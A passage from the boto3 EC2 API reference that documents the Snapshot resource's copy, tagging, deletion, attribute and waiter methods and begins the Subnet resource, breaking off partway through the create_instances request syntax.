that should not be used for any purpose. + + +volume_size + +* _(integer) --_ + + The size of the volume, in GiB. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +volume + +(Volume) The related volume if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +copy(kwargs_) + +Copies a point-in-time snapshot of an EBS volume and stores it in Amazon S3. You can copy the snapshot within the same Region or from one Region to another. You can use the snapshot to create EBS volumes or Amazon Machine Images (AMIs). + +Copies of encrypted EBS snapshots remain encrypted. Copies of unencrypted snapshots remain unencrypted, unless you enable encryption for the snapshot copy operation. By default, encrypted snapshot copies use the default AWS Key Management Service (AWS KMS) customer master key (CMK); however, you can specify a different CMK. + +To copy an encrypted snapshot that has been shared from another account, you must have permissions for the CMK used to encrypt the snapshot. + +Snapshots created by copying another snapshot have an arbitrary volume ID that should not be used for any purpose. + +For more information, see [Copying an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-copy-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopySnapshot) + +**Request Syntax** + +response = snapshot.copy( + Description='string', + Encrypted=True|False, + KmsKeyId='string', + SourceRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the EBS snapshot. +* **DestinationRegion** (_string_) -- + + The destination Region to use in the PresignedUrl parameter of a snapshot copy operation. This parameter is only valid for specifying the destination Region in a PresignedUrl parameter, where it is required. + + The snapshot copy is sent to the regional endpoint that you sent the HTTP request to (for example, ec2.us-east-1.amazonaws.com ). With the AWS CLI, this is specified using the --region parameter or the default Region in your AWS configuration file. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **Encrypted** (_boolean_) -- To encrypt a copy of an unencrypted snapshot if encryption by default is not enabled, enable encryption using this parameter. Otherwise, omit this parameter. Encrypted snapshots are encrypted, even if you omit this parameter and encryption by default is not enabled. You cannot set this parameter to false. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **PresignedUrl** (_string_) -- + + When you copy an encrypted source snapshot using the Amazon EC2 Query API, you must supply a pre-signed URL. This parameter is optional for unencrypted snapshots. For more information, see [Query requests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Query-Requests.html) . + + The PresignedUrl should use the snapshot source endpoint, the CopySnapshot action, and include the SourceRegion , SourceSnapshotId , and DestinationRegion parameters. The PresignedUrl must be signed using AWS Signature Version 4. Because EBS snapshots are stored in Amazon S3, the signing algorithm for this parameter uses the same logic that is described in [Authenticating Requests: Using Query Parameters (AWS Signature Version 4)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) in the _Amazon Simple Storage Service API Reference_ . An invalid or improperly signed PresignedUrl will cause the copy operation to fail asynchronously, and the snapshot will move to an error state. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The ID of the Region that contains the snapshot to be copied. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new snapshot. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1076)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1078)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SnapshotId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SnapshotId** _(string) --_ + + The ID of the new snapshot. + + * **Tags** _(list) --_ + + Any tags applied to the new snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = snapshot.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified snapshot. + +When you make periodic snapshots of a volume, the snapshots are incremental, and only the blocks on the device that have changed since your last snapshot are saved in the new snapshot. When you delete a snapshot, only the data not needed for any other snapshot is removed. So regardless of which prior snapshots have been deleted, all active snapshots will have access to all the information needed to restore the volume. + +You cannot delete a snapshot of the root device of an EBS volume used by a registered AMI. You must first de-register the AMI before you can delete the snapshot. + +For more information, see [Deleting an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSnapshot) + +**Request Syntax** + +response = snapshot.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified snapshot. You can specify only one attribute at a time. + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshotAttribute) + +**Request Syntax** + +response = snapshot.describe_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The snapshot attribute you would like to view. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CreateVolumePermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'SnapshotId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CreateVolumePermissions** _(list) --_ + + The users and groups that have the permissions for creating volumes from the snapshot. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **SnapshotId** _(string) --_ + + The ID of the EBS snapshot. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.load() + +Returns + +None + +modify_attribute(kwargs_) + +Adds or removes permission settings for the specified snapshot. You may add or remove specified AWS account IDs from a snapshot's list of create volume permissions, but you cannot do both in a single operation. If you need to both add and remove account IDs for a snapshot, you must use multiple operations. You can make up to 500 modifications to a snapshot in a single operation. + +Encrypted snapshots and snapshots with AWS Marketplace product codes cannot be made public. Snapshots encrypted with your default CMK cannot be shared with other accounts. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySnapshotAttribute) + +**Request Syntax** + +response = snapshot.modify_attribute( + Attribute='productCodes'|'createVolumePermission', + CreateVolumePermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + GroupNames=[ + 'string', + ], + OperationType='add'|'remove', + UserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- The snapshot attribute to modify. Only volume creation permissions can be modified. +* **CreateVolumePermission** (_dict_) -- + + A JSON representation of the snapshot attribute modification. + + * **Add** _(list) --_ + + Adds the specified AWS account ID or group to the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **Remove** _(list) --_ + + Removes the specified AWS account ID or group from the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + +* **GroupNames** (_list_) -- + + The group to modify for the snapshot. + + * _(string) --_ +* **OperationType** (_string_) -- The type of operation to perform to the attribute. +* **UserIds** (_list_) -- + + The account ID to modify for the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets permission settings for the specified snapshot. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetSnapshotAttribute) + +**Request Syntax** + +response = snapshot.reset_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. Currently, only the attribute for permission to create volumes can be reset. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_completed(kwargs_) + +Waits until this Snapshot is completed. This method calls EC2.Waiter.snapshot_completed.wait() which polls. [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot.wait_until_completed( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * description - A description of the snapshot. + * encrypted - Indicates whether the snapshot is encrypted (true | false ) + * owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * progress - The progress of the snapshot, as a percentage (for example, 80%). + * snapshot-id - The snapshot ID. + * start-time - The time stamp when the snapshot was initiated. + * status - The status of the snapshot (pending | completed | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The ID of the volume the snapshot is for. + * volume-size - The size of the volume, in GiB. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +[Subnet](#id1253) +---------------------------------------------------------- + +_class_ EC2.Subnet(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Subnet: + +import boto3 + +ec2 = boto3.resource('ec2') +subnet = ec2.Subnet('id') + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Subnet.id "EC2.Subnet.id") + +These are the resource's available attributes: + +* [assign_ipv6_address_on_creation](#EC2.Subnet.assign_ipv6_address_on_creation "EC2.Subnet.assign_ipv6_address_on_creation") +* [availability_zone](#EC2.Subnet.availability_zone "EC2.Subnet.availability_zone") +* [availability_zone_id](#EC2.Subnet.availability_zone_id "EC2.Subnet.availability_zone_id") +* [available_ip_address_count](#EC2.Subnet.available_ip_address_count "EC2.Subnet.available_ip_address_count") +* [cidr_block](#EC2.Subnet.cidr_block "EC2.Subnet.cidr_block") +* [customer_owned_ipv4_pool](#EC2.Subnet.customer_owned_ipv4_pool "EC2.Subnet.customer_owned_ipv4_pool") +* [default_for_az](#EC2.Subnet.default_for_az "EC2.Subnet.default_for_az") +* [ipv6_cidr_block_association_set](#EC2.Subnet.ipv6_cidr_block_association_set "EC2.Subnet.ipv6_cidr_block_association_set") +* [map_customer_owned_ip_on_launch](#EC2.Subnet.map_customer_owned_ip_on_launch "EC2.Subnet.map_customer_owned_ip_on_launch") +* [map_public_ip_on_launch](#EC2.Subnet.map_public_ip_on_launch "EC2.Subnet.map_public_ip_on_launch") +* [outpost_arn](#EC2.Subnet.outpost_arn "EC2.Subnet.outpost_arn") +* [owner_id](#EC2.Subnet.owner_id "EC2.Subnet.owner_id") +* [state](#EC2.Subnet.state "EC2.Subnet.state") +* [subnet_arn](#EC2.Subnet.subnet_arn "EC2.Subnet.subnet_arn") +* [subnet_id](#EC2.Subnet.subnet_id "EC2.Subnet.subnet_id") +* [tags](#EC2.Subnet.tags "EC2.Subnet.tags") +* [vpc_id](#EC2.Subnet.vpc_id "EC2.Subnet.vpc_id") + +These are the resource's available references: + +* [vpc](#EC2.Subnet.vpc "EC2.Subnet.vpc") + +These are the resource's available actions: + +* [create_instances()](#EC2.Subnet.create_instances "EC2.Subnet.create_instances") +* [create_network_interface()](#EC2.Subnet.create_network_interface "EC2.Subnet.create_network_interface") +* [create_tags()](#EC2.Subnet.create_tags "EC2.Subnet.create_tags") +* [delete()](#EC2.Subnet.delete "EC2.Subnet.delete") +* [get_available_subresources()](#EC2.Subnet.get_available_subresources "EC2.Subnet.get_available_subresources") +* [load()](#EC2.Subnet.load "EC2.Subnet.load") +* [reload()](#EC2.Subnet.reload "EC2.Subnet.reload") + +These are the resource's available collections: + +* [instances](#EC2.Subnet.instances "EC2.Subnet.instances") +* [network_interfaces](#EC2.Subnet.network_interfaces "EC2.Subnet.network_interfaces") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Subnet's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Subnet.load "EC2.Subnet.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +assign_ipv6_address_on_creation + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + +availability_zone + +* _(string) --_ + + The Availability Zone of the subnet. + + +availability_zone_id + +* _(string) --_ + + The AZ ID of the subnet. + + +available_ip_address_count + +* _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + +cidr_block + +* _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + +default_for_az + +* _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +map_customer_owned_ip_on_launch + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + +map_public_ip_on_launch + +* _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the subnet. + + +state + +* _(string) --_ + + The current state of the subnet. + + +subnet_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + +subnet_id + +* _(string) --_ + + The ID of the subnet. + + +tags + +* _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC the subnet is in. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +* [EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +* [EC2-Classic] If don't specify an Availability Zone, we choose one for you. +* Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +* [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +* Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +* If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +* If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +instance = subnet.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.